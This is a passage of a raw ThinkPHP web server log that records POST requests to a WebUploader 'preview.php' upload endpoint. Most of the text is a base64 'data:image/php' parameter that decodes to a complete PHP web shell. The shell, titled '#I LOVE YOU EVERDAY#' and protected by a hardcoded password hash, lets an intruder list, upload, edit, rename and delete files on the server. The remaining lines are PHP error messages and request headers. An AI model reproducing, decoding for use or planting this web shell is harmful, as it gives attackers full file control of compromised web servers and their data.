'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:09+08:00 ] 116.213.36.234 POST 51tianwei.com/static/webuploader/0.1.15/server/preview.php [运行时间:0.002459s] [吞吐率:406.70req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 